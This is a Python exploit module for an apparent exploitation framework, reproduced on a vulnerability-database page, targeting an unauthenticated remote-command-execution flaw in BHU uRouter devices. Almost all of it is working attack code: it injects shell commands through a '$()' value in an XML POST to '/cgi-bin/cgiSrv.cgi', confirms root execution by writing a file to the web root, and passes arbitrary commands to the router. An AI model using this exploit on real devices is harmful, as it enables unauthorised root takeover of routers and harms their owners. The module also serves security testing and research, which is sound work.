#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BHU uRouter RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'BHU uRouter RCE',
'description': 'Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which allows executing commands on the router with root privileges.',
'author': ["Tao 'depierre' Sauvage"],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd)
self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=data
)
return '' # Blind RCE so no response available
def check(self):
headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
# Blind unauth RCE so we first create a file in the www-root directory
cmd_echo = data.format(u'echo "$USER" > /usr/share/www/ks.check')
response = self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=cmd_echo
)
if not response or u'status="doing"' not in response.text:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
# Second we check that the file was successfully created
response = self.http_request(
method="GET",
path="/ks.check",
)
if not response.status_code == 200 or u'root' not in response.text:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
# Third we clean up the temp file. No need to check if successful since we already check that the device was
# vulnerable at this point.
cmd_rm = data.format("rm -f /usr/share/www/ks.check")
self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=cmd_rm
)
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.3Medium risk
Vulners AI Score6.3